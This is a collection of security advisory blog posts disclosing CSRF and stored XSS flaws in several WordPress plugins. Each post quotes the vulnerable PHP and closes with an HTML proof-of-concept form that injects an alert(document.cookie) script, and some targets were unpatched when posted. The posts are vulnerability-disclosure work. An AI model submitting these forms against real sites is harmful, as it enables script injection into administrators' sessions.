30 Aug

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Traffic Manager

We recently started proactively monitoring for evidence of some high risk vulnerabilities when changes are made to WordPress plugins and if we had more customers we could expand the proactive monitoring to more types of vulnerabilities. In doing that we sometimes find that the possible vulnerable code isn’t exploitable, but we find another vulnerability while figuring that out, which doesn’t speak to WordPress plugins being all that secure. That is the case with the plugin Traffic Manager, where while looking into a possible issues that occurred while saving the plugin’s settings that the changing of the plugin’s setting lacked protection against cross-site request forgery (CSRF).

The code to save the settings is in the function flush() in the file /core/parameters.class.php, which runs when accessing several of the plugin’s admin pages. Those pages all look to be restricted to Administrator, due to access to them requiring the “activate_plugins” capability, which only Administrators normally have access to.

The saving of the settings will occur if the POST input “submitOptions” exists:

616
if (isset($_POST['submitOptions'])) {

The settings are not sanitized when saved to the database and at least the “metatag_copyright_override” setting is output on frontend pages without being escaped (on line 414 of the file /traffic-manager.php):

414
$dc .= '<meta name="DC.right" content="'.$this->get_param('metatag_copyright_override').'"/>'."\n" ;

That permits cross-site scripting (XSS) to occur.

We notified the developer of the issue a couple of week ago, but have yet to hear back from them.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on frontend pages of the WordPress, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=traffic-manager/traffic-manager.php" method="POST">
<input type="hidden" name="submitOptions" value="update" />
<input type="hidden" name="metatag" value="on" />
<input type="hidden" name="metatag_copyright" value="on" />
<input type="hidden" name="metatag_copyright_override" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>

Timeline

  • August 14, 2017 – Developer notified.
24 Aug

Authenticated Persistent Cross-Site Scripting (XSS) Vulnerability in FG Joomla to WordPress

While looking into an unrelated issue with the plugin FG Joomla to WordPress, we found that it contained an authenticated cross-site scripting (XSS) vulnerability.

The plugin has a number of actions that are run through the function ajax_importer(), which is accessed through WordPress’ AJAX functionality and is accessible to anyone logged in to WordPress (/includes/class-fg-joomla-to-wordpress.php):

184
$this->loader->add_action( 'wp_ajax_fgj2wp_import', $plugin_admin, 'ajax_importer' );

The function ajax_importer() located in the file /admin/class-fg-joomla-to-wordpress-admin.php didn’t do any capabilities check. For most actions that function passes the action request to the function dispatch():

228
$result = $this->dispatch($action);

In the function dispatch(), also located in the file /admin/class-fg-joomla-to-wordpress-admin.php, most of the actions check for a valid nonce, so under normal circumstances only Administrators could access them. One of the exceptions was saving the plugin’s settings:

307
308
309
310
311
// Save database options
case 'save':
	$this->save_plugin_options();
	$this->display_admin_notice(__('Settings saved', 'fg-joomla-to-wordpress'));
	break;

In addition, for other actions the saving of the settings also occurs and it occurred before the nonce check:

313
314
315
316
317
318
// Test the database connection
case 'test_database':
	// Save database options
	$this->save_plugin_options();
 
	if ( check_admin_referer( 'parameters_form', 'fgj2wp_nonce' ) ) { // Security check

The lack of a nonce check would also allow for cross-site request forgery (CSRF) to occur.

Before the settings are saved there is validation done, but for the “url” setting the sanitization done doesn’t prevent cross-site scripting (XSS):

937
$url = filter_input(INPUT_POST, 'url', FILTER_SANITIZE_URL);

Using FILTER_SANITIZE_URL will:

Remove all characters except letters, digits and $-_.+!*'(),{}|\\^~[]`<>#%”;/?:@&=.

That leaves the characters needed for cross-site scripting.

After we notified the developer of the issue they fixed each of the issues in version 3.31.0 .

They added a capabilities check:

211
212
213
public function ajax_importer() {
	$current_user = wp_get_current_user();
	if ( !empty($current_user) && $current_user->has_cap('import') ) {

They added a check for a valid nonce when using the save action (as well moving the saving of settings for other actions after the nonce check):

311
312
313
case 'save':
	if ( check_admin_referer( 'parameters_form', 'fgj2wp_nonce' ) ) { // Security check
		$this->save_plugin_options();

And added passing the “url” setting through the esc_url() function:

944
$url = esc_url(filter_input(INPUT_POST, 'url', FILTER_SANITIZE_URL));

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/admin.php?import=fgj2wp, when submitted while logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="fgj2wp_import" />
<input type="hidden" name="plugin_action" value="save" />
<input type="hidden" name="url" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • August 23, 2017 – Developer notified.
  • August 23, 2017 – Developer responds.
  • August 24, 2017 – Version 3.31.0, which fixes the vulnerability.
11 Aug

Vulnerability Details: Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Simba Plugins Manager

From time to time a vulnerability is fixed in a plugin without the discoverer putting out a report on the vulnerability and we will put out a post detailing the vulnerability so that we can provide our customers with more complete information on the vulnerability.

One of the changelog entries for version 1.6.17 of Simba Plugins Manager is:

SECURITY: Various actions were not protected by ...


To read the rest of this post you need to have an active account with our service.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

19 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Multi Feed Reader

Recently a report was released claiming that a SQL injection vulnerability had been fixed in the latest version of the plugin Multi Feed Reader. In checking into that we found that while the change made in that version improved security, it looked like there may not have actually been a vulnerability in the code before. While looking in to that report we found that the plugin does have a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability on the plugin’s admin page.

The CSRF portion is due to a lack on nonce included in the form submitted to create or edit one of the plugin’s feedcollections.

As example of the XSS portion, when creating a new feedcolleciton the name of it is specified by the POST input “mfr_new_feedcollection_name” and is not sanitized (/mfrsettings.php):

74
75
76
77
78
79
80
81
// CREATE action
} elseif ( isset( $_POST[ 'mfr_new_feedcollection_name' ] ) ) {
	$name = $_POST[ 'mfr_new_feedcollection_name' ];
	$existing = FeedCollection::find_one_by_name( $name );
 
	if ( ! $existing ) {
		$fc = new FeedCollection();
		$fc->name = $name;

The name is output without being escaped in a number of locations including line 393 of the same file:

<input type="text" name="feedcollection[name]" value="<?php echo $current->name ?>" class="large-text">

We notified the developer of the plugin about the vulnerability and asked if they were provided any information on how the claimed SQL injection could have been exploited, we have yet to hear back from them.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/options-general.php?page=multi_feed_reader_handle&tab=edit when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=multi_feed_reader_handle" method="POST">
<input type="hidden" name="mfr_new_feedcollection_name" value="'><script>alert(document.cookie);</script>" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • June 12, 2017 – Developer notified.
12 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in PayPal Buy Now Button

Recently we found that the plugin Contact Form 7 – PayPal Add-on contained a cross-site request forgery (CSRF) vulnerability with the saving of the plugin’s settings that would allow changing the PayPal address that payments through plugin go to. In looking over the developer’s other plugins we found that the PayPal Buy Now Button plugin contains the same vulnerability with the additional issue that malicious JavaScript can saved to the setting’s, leading to cross-site scripting (XSS).

The CSRF issue is caused by a lack of a nonce in the form to change the plugin’s settings and a lack of a check to make sure a valid one is included when saving the plugin’s settings. When the plugin’s settings are saved through a request to plugin’s admin page the only thing that is required is that a POST input named “update” is included (in the file /wp-ecommerce-paypal.php):

216
217
// save and update options
if (isset($_POST['update'])) {

For the XSS issue, when the settings are saved there is no sanitization done, as can be seen with the input “liveaccount”:

221
$options['liveaccount'] = 		$_POST['liveaccount'];
230
update_option("wpecpp_settingsoptions", $options);

When the settings are output they are not escaped, as again can been seen with “liveaccount”:

238
239
$options = get_option('wpecpp_settingsoptions');
foreach ($options as $k => $v ) { $value[$k] = $v; }
echo "<b>Live Account: </b><input type='text' name='liveaccount' value='".$value['liveaccount']."'> Required";

We notified the developer of the issue several weeks ago, but so far we have not heard back from them, other than an automated response, and the vulnerability has not been fixed.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/options-general.php?page=wp-ecommerce-setting, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=wp-ecommerce-settings" method="POST">
<input type="hidden" name="update" value="1" />
<input type="hidden" name="liveaccount" value="'><script>alert(document.cookie);</script>" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • May 18, 2017 – Developer notified.
12 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Easy PayPal Gift Certificate

Recently we found that the plugin Contact Form 7 – PayPal Add-on contained a cross-site request forgery (CSRF) vulnerability with the saving of the plugin’s settings that would allow changing the PayPal address that payments through plugin go to. In looking over the developer’s other plugins we found that the Easy PayPal Gift Certificate plugin contains the same vulnerability with the additional issue that malicious JavaScript can saved to the setting’s, leading to cross-site scripting (XSS).

The CSRF issue is caused by a lack of a nonce in the form to change the plugin’s settings and a lack of a check to make sure a valid one is included when saving the plugin’s settings. When the plugin’s settings are saved through a request to plugin’s admin page the only thing that is required is that a POST input named “update” is included (in the file /easy-paypal-shopping-cart.php):

273
274
// save and update options
if (isset($_POST['update'])) {

For the XSS issue, when the settings are saved there is no sanitization done, as can be seen with the input “liveaccount”:

278
$options['liveaccount'] = $_POST['liveaccount'];
296
update_option("wpepsc_settingsoptions", $options);

When the settings are output they are not escaped, as again can been seen with “liveaccount”:

304
305
$options = get_option('wpepsc_settingsoptions');
foreach ($options as $k => $v ) { $value[$k] = $v; }
echo "<b>Live Account: </b><input type='text' name='liveaccount' value='".$value['liveaccount']."'> Required";

We notified the developer of the issue several weeks ago, but so far we have not heard back from them, other than an automated response, and the vulnerability has not been fixed.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/admin.php?page=hugeit_forms_custom_scripts, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=paypal-gift-certificate-settings" method="POST">
<input type="hidden" name="update" value="1" />
<input type="hidden" name="liveaccount" value="'><script>alert(document.cookie);</script>" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • May 18, 2017 – Developer notified.
12 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in PayPal Shopping Cart

Recently we found that the plugin Contact Form 7 – PayPal Add-on contained a cross-site request forgery (CSRF) vulnerability with the saving of the plugin’s settings that would allow changing the PayPal address that payments through plugin go to. In looking over the developer’s other plugins we found that the PayPal Shopping Cart plugin contains the same vulnerability with the additional issue that malicious JavaScript can saved to the setting’s, leading to cross-site scripting (XSS).

The CSRF issue is caused by a lack of a nonce in the form to change the plugin’s settings and a lack of a check to make sure a valid one is included when saving the plugin’s settings. When the plugin’s settings are saved through a request to plugin’s admin page the only thing that is required is that a POST input named “update” is included (in the file /easy-paypal-shopping-cart.php):

269
270
// save and update options
if (isset($_POST['update'])) {

For the XSS issue, when the settings are saved there is no sanitization done, as can be seen with the input “liveaccount”:

274
$options['liveaccount'] = $_POST['liveaccount'];
286
update_option("wpepsc_settingsoptions", $options);

When the settings are output they are not escaped, as again can been seen with “liveaccount”:

294
295
$options = get_option('wpepsc_settingsoptions');
foreach ($options as $k => $v ) { $value[$k] = $v; }
echo "<b>Live Account: </b><input type='text' name='liveaccount' value='".$value['liveaccount']."'> Required";

We notified the developer of the issue several weeks ago, but so far we have not heard back from them, other than an automated response, and the vulnerability has not been fixed.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/options-general.php?page=easy-paypal-shopping-cart, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=easy-paypal-shopping-cart" method="POST">
<input type="hidden" name="update" value="1" />
<input type="hidden" name="liveaccount" value="'><script>alert(document.cookie);</script>" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • May 18, 2017 – Developer notified.
12 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Responsive Menu

Recently we found that the plugin Responsive Menu had a cross-site request forgery (CSRF)/cross-site site scripting (XSS) vulnerability.

The CSRF portion of the vulnerability was due to a lack of a nonce on the plugin’s admin page and a lack of a check for a valid one when processing a request to change the plugin’s options.

For the XSS portion, in the file /app/Controllers/AdminController.php the function updateOptions() saves the options and no sanitization is done:

22
23
24
25
26
27
28
public function updateOptions(array $options) {
	$updated_options = $this->combineOptions($options);
	foreach($updated_options as $name => $val):
		$val = is_array($val) ? json_encode($val) : $val;
		$val = stripslashes($val);
		$updated_options[$name] = $val;
		$this->db->update('responsive_menu', ['value' => $val], ['name' => $name]);

Then, for example, the option “menu_to_hide” item is configured to be output through the file /css/app.css.twig without being escaped:

{% if options.menu_to_hide %}
	{{ options.menu_to_hide }} {

After we contacted the developer they released version 3.1.4, which fixes the vulnerability by fixing the CSRF portion of it by adding a nonce and a check to insure that a valid nonce is included when saving the plugin’s settings.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the frontend of the website, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=responsive-menu" method="POST">
<input type="hidden" name="menu[menu_to_hide]" value="</style><script>alert(document.cookie);</script>">
<input type="submit" name="responsive-menu-submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • May 22, 2017 – Developer notified.
  • May 22, 2017 – Developer responds.
  • June 10, 2017 – Version 3.1.4 released, which fixes vulnerability.
09 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Skype Legacy Buttons

One of the ways that we are able to provide wider coverage of WordPress plugin vulnerabilities than you can find elsewhere is that we do extensive monitoring of various places where information on vulnerabilities comes up. One of those is the Support Forum on wordpress.org, through that we ran across a odd statement in response to a review of the plugin Skype Legacy Buttons:

Please note that the Chrome browser will throw an error ERR_BLOCKED_BY_XSS_AUDITOR when submitting an email address as Skype ID. This will look scary but just refresh the page and you’ll see the settings have updated correctly.

That error isn’t caused by the issue they are claiming, but when we went to take a look at the plugin we found a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability.

For the CSRF portion the plugin actually included multiple nonces with the request to save the settings (it isn’t clear why there is more than one):

<?php wp_nonce_field('skype_status_options-metaboxes-general'); ?>
<?php wp_nonce_field('closedpostboxes','closedpostboxesnonce',false) ?>
<?php wp_nonce_field('meta-box-order','meta-box-order-nonce',false) ?>

The problem is that when saving the settings there is no check to make sure that a valid nonce is included, so those nonces have no impact.

One the settings on the page is intended to contain HTML code and preview of it is shown on the setting’s page, so that can be used to cause XSS when combined with the CSRF vulnerability.

We notified the developer of the issue over a week ago, but we haven’t heard back from them and the vulnerability has yet to be fixed.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/options-general.php?page=skype-status.php, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=skype-status.php" method="POST">
<input type="hidden" name="skype_status_update" value="Save Changes">
<input type="hidden" name="button_theme" value="custom_edit">
<input type="hidden" name="button_template" value="</textarea><script>alert(document.cookie);</script>">
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

June 1, 2017 – Developer notified.

08 Jun

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Count per Day

Just a couple of days after we discussed a situation where a popular plugin had a vulnerability in it for years due to a security fix not being fully applied, we ran into another example of a security fix only being partially applied in a popular plugin. This time it involves the plugin Count per Day, which has 100,000+ active install according to wordpress.org.

As part of monitoring of changes to plugins to detect vulnerabilities being fixed and then add them to our data set, we saw that version 3.5.7 of the plugin appeared to have a security fix, the changelog entry for that version is “Bugfix: security fixes in notes, options”. In looking at the changes made in that version we could see that some user input values are now being sanitized using strip_tags(). In checking over things we found that that related to the plugin’s settings page.

The previous lack of sanitization on the plugin’s settings wouldn’t really a vulnerability if the saving of the plugin’s settings was properly restricted to Administrators, since those users have the unfiltered_html capability (it could be classified as a bug though). What we found though was that it wasn’t properly restricted as it lacked protection against cross-site request forgery (CSRF), which is a vulnerability that causes a user to take an action they didn’t intend. What we also found was that there additional plugin’s settings that lack necessary sanitization.

In looking at the underlying code in the file /counter-options.php you can see the lack of a check for a valid nonce, which is used to protect against CSRF, and the lack of sanitization on some inputs:

11
12
13
14
15
16
17
18
19
20
21
22
23
if(!empty($_POST['do']))
{
	switch($_POST['do'])
	{
		// update options
		case 'cpd_update' :
			$_POST['cpd_bots'] = preg_replace('/\r\n\r\n/', '', strip_tags($_POST['cpd_bots']));
			$count_per_day->options['onlinetime'] = $_POST['cpd_onlinetime'];
			$count_per_day->options['user'] = empty( $_POST['cpd_user'] ) ? 0 : 1 ;
			$count_per_day->options['user_level'] = $_POST['cpd_user_level'];
			$count_per_day->options['autocount'] = empty( $_POST['cpd_autocount'] ) ? 0 : 1 ;
			$count_per_day->options['bots'] = $_POST['cpd_bots'];
			$count_per_day->options['posttypes'] = str_replace(' ', '', $_POST['cpd_posttypes']);

The lack of CSRF protection also impacts a number of other actions that are control by code below that in the file.

We notified the developer of the vulnerability a month ago. We have yet to hear back from them and the vulnerability has yet to be fixed.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/options-general.php?page=count-per-day%2Fcounter-options.php&tab=options, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=count-per-day/counter-options.php&tab=options" method="POST">
<input type="hidden" name="do" value="cpd_update" />
<input type="hidden" name="cpd_posttypes" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • May 5, 2017 – Developer notified.